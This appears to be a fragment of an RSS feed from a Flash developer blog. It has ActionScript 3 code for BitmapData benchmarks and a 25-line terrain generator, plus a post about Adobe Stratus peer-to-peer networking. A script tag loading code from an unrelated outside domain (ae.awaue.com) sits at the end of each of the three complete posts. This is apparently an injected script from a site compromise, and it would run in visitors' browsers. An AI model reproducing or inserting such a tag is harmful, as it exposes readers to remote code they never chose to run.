			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;merge&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> tile:BitmapData= tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">merge</span><span style="color: #66cc66;">&#40;</span>tile, tile.<span style="color: #006600;">rect</span>, loc, 0xFF,0xFF,0xFF,0xFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;merge&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p><strong>~36</strong> ms to extract and ~12ms to merge tiles on the canvas!!!&#8230;too slow all the way&#8230;:\</p>
<p>There are still some methods left such as getPixel\setPixel, getPixel32\setPixel32, and copyChannel but they&#8217;re a too much restrictive choice because they&#8217;re handling one pixel, or channel at time therefore a further loop would be required to get them doing this task.</p>
<p>Summary:<br />
getVector\setVector : ~9ms\~1ms<br />
getPixels\setPixels: ~17ms\~2ms<br />
copyPixels: ~27ms\~2-3ms<br />
merge: ~36ms\~12ms</p>
<p>make your choice <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>NOTE: these benchmarks are valid from flash player 10 because we (both me and <a href="http://actionsnippet.com/?page_id=3">Zevan</a>) used the Vector native type to store lists of typed data. To make them valid for previous version of the player make sure to replace vectors with arrays and check other types are already supported by the target player.</p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My entry to Bit-101s 25 Lines competition</title>
		<link>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/</link>
		<comments>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 13:45:08 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[25lines]]></category>
		<category><![CDATA[contest]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=101</guid>
		<description><![CDATA[Yep, i made my submission to 25lines contest just few days ago (right in time   ), so (as Sakri did some days before me) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;


Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, i made my submission to <a href="http://www.25lines.com/" target="_blank">25lines contest</a> just few days ago (right in time <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ), so (as <a href="http://www.sakri.net/blog/2008/11/19/my-entry-to-bit-101s-25-lines-competition/" target="_blank">Sakri did some days before me</a>) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;</p>
<p><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines.jpg"></a></p>
<p style="text-align: center;"><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25linesbmpoptimized.swf" target="_blank"><img class="alignnone size-medium wp-image-102 aligncenter" title="25lines" src="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit or tell me &#8220;you&#8217;d better to do that this other way&#8230;&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>What&#8217;s going on is:</p>
<ul>
<li>generate a shape filled with a gradient to create a reference color for differents &#8220;height&#8221;</li>
<li>generate a perlinNoise everyframe for dataprovider use</li>
<li>detect each perlinNoise pixel depth according with its main channel value (blue in this case..)</li>
<li>generating a vector of Bitmaps to be employed in the view</li>
</ul>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p101code10'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p10110"><td class="code" id="p101code10"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/**
 * 25-Line ActionScript Contest Entry
 *
 * Project: Random Terrain 3D Generator
 * Author:  Piergiorgio Niero (aka pigiuz) piergiorgio.niero[at]gmail.com
 * Date:    11/24/08
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the &quot;Software&quot;), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */</span>
&nbsp;
<span style="color: #808080; font-style: italic;">// 3 free lines! Alter the parameters of the following lines or remove them.</span>
<span style="color: #808080; font-style: italic;">// Do not substitute other code for the three lines in this section</span>
<span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">backgroundColor</span>=0xffffff, frameRate=<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;
<span style="color: #808080; font-style: italic;">// 25 lines begins here!</span>
<span style="color: #000000; font-weight: bold;">var</span> _bd:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span>,<span style="color: #cc66cc;">50</span>,<span style="color: #000000; font-weight: bold;">false</span>,0x0000FF<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _points:<span style="color: #0066CC;">Array</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vxCont:Sprite = Sprite<span style="color: #66cc66;">&#40;</span>addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Sprite<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_vxCont.<span style="color: #006600;">x</span> = _vxCont.<span style="color: #006600;">y</span> = <span style="color: #cc66cc;">400</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vexels:Vector. = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _hMap:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _gradient:Shape = <span style="color: #000000; font-weight: bold;">new</span> Shape<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">beginGradientFill</span><span style="color: #66cc66;">&#40;</span> GradientType.<span style="color: #006600;">LINEAR</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> 0x4267F9, 0xF9EAB0, 0x9EF07D, 0x8DF273, 0x9D5E1E, 0xFFFFFF <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">90</span>, <span style="color: #cc66cc;">105</span>, <span style="color: #cc66cc;">110</span>, <span style="color: #cc66cc;">120</span>, <span style="color: #cc66cc;">145</span>, <span style="color: #cc66cc;">185</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> Matrix<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0.2456396484375</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0.0006103524625</span>,<span style="color: #cc66cc;">127.5</span>,.5<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #006600;">drawRect</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
_hMap.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_gradient<span style="color: #66cc66;">&#41;</span>;
addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>,generatePerlinNoise<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> generatePerlinNoise<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	_bd.<span style="color: #006600;">perlinNoise</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #000000; font-weight: bold;">false</span>,<span style="color: #000000; font-weight: bold;">true</span>,<span style="color: #cc66cc;">4</span>,<span style="color: #000000; font-weight: bold;">false</span>,_points<span style="color: #66cc66;">&#41;</span>;
	Point<span style="color: #66cc66;">&#40;</span>_points<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">y</span>+=<span style="color: #cc66cc;">1</span>;
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> v:uint=<span style="color: #cc66cc;">0</span>;v<span style="color: #66cc66;">&amp;</span>amp;lt;<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>;v++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span> = <span style="color: #66cc66;">&#40;</span>_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>==<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>?generateVoxel<span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">&#41;</span>:_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">y</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">pow</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">6</span>,<span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.24;
		_vxCont.<span style="color: #006600;">rotationX</span> = mouseY<span style="color: #66cc66;">*</span>.1;
		_vxCont.<span style="color: #006600;">rotationY</span> = <span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">rotationY</span>-<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">/</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#40;</span>mouseX-<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>.5;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">bitmapData</span>.<span style="color: #006600;">floodFill</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,_hMap.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> generateVoxel<span style="color: #66cc66;">&#40;</span>v:uint<span style="color: #66cc66;">&#41;</span>:Bitmap<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> b:Bitmap = <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #000000; font-weight: bold;">false</span>,0x000000<span style="color: #66cc66;">&#41;</span>,<span style="color: #ff0000;">&quot;auto&quot;</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
	b.<span style="color: #006600;">x</span> = v<span style="color: #66cc66;">%</span>50<span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">width</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	b.<span style="color: #006600;">z</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> Bitmap<span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">addChild</span><span style="color: #66cc66;">&#40;</span>b<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">// 25 lines ends here!</span>
&nbsp;
enjoy ;<span style="color: #66cc66;">&#41;</span></pre></td></tr></table></div>

<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Adobe Stratus on Adobe Labs</title>
		<link>http://www.flashfuck.it/2008/11/19/adobe-stratus-on-adobe-labs/</link>
		<comments>http://www.flashfuck.it/2008/11/19/adobe-stratus-on-adobe-labs/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 09:36:01 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[AIR]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Adobe]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=99</guid>
		<description><![CDATA[Did you remember &#8220;Pacifica&#8221; project? Now it&#8217; [UPDATE: Adobe Stratus is a rendezvous service for RTMFP, a new protocol built in to Flash Player 10 and AIR 1.5. Neither RTMFP nor Stratus are related to the project codenamed Pacifica.] Something new is on adobe labs and its name is &#8220;Stratus&#8220;..WONDERFUL!  

Let&#8217;s explain what i&#8217;m [...]]]></description>
			<content:encoded><![CDATA[<p><span style="text-decoration: line-through;">Did you remember &#8220;<a href="http://blogs.adobe.com/pacifica/">Pacifica</a>&#8221; project? Now </span><span style="text-decoration: line-through;">it&#8217;</span> [UPDATE: Adobe Stratus is a rendezvous service for RTMFP, a new protocol built in to Flash Player 10 and AIR 1.5. Neither RTMFP nor Stratus are related to the project codenamed Pacifica.] Something new is on adobe labs and its name is &#8220;<a href="http://labs.adobe.com/wiki/index.php/Stratus">Stratus</a>&#8220;..WONDERFUL! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p style="text-align: center;"><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/stratus_sample_app.png"><img class="alignnone size-full wp-image-100" title="stratus_sample_app" src="http://www.flashfuck.it/wp-content/uploads/2008/11/stratus_sample_app.png" alt="" width="456" height="558" /></a></p>
<p>Let&#8217;s explain what i&#8217;m talking about:</p>
<p><a href="http://labs.adobe.com/wiki/index.php/Stratus">Stratus</a> is &#8220;hosted rendezvous service that aids establishing communications between Flash Player endpoints&#8221;.<br />
This technology enables clients&#8217; flash player (10 +, or AIR 1.5) to connect directly each other to share runtime informations&#8230;actually <a href="http://en.wikipedia.org/wiki/Peer-to-peer">PEER TO PEER</a>!! (underline this: Stratus is a service by Adobe, not a technology to run on own servers).</p>
<p>Stratus does support only &#8220;end to end&#8221; p2p, multicast or swarming are not supported. This means we&#8217;re not enabled to create a new air-mule service over stratus, but we can build our p2p video chat, p2p real time games, etc&#8230;</p>
<p>Stratus introduces a new data transfer protocol: RTMFP, which uses UDP instead of clean RTMP which uses TCP. (note, RTMFP is not <a href="http://www.adobe.com/devnet/flashmediaserver/articles/overview_streaming_fms3_02.html">RTMP*</a>, which is the encrypted protocol for FMS).</p>
<p>Stratus is now beta, and you can test a <a href="http://labs.adobe.com/technologies/stratus/samples/">sample application hosted on the labs Stratus page</a>&#8230;</p>
<p>Stratus is going to be released next year (hopefully &#8220;early&#8221;) &#8230;it seems we&#8217;re going to have real time &#8220;anything&#8221; in few months <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>This could be a new red pill for our webapps,<br />
Stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/11/19/adobe-stratus-on-adobe-labs/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cows in chaos</title>
		<link>http://www.flashfuck.it/2008/10/06/cows-in-chaos/</link>
		<comments>http://www.flashfuck.it/2008/10/06/cows-in-chaos/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 13:18:43 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[Isometry]]></category>
		<category><![CDATA[MMOs]]></category>
		<category><![CDATA[Papervision 3D]]></category>
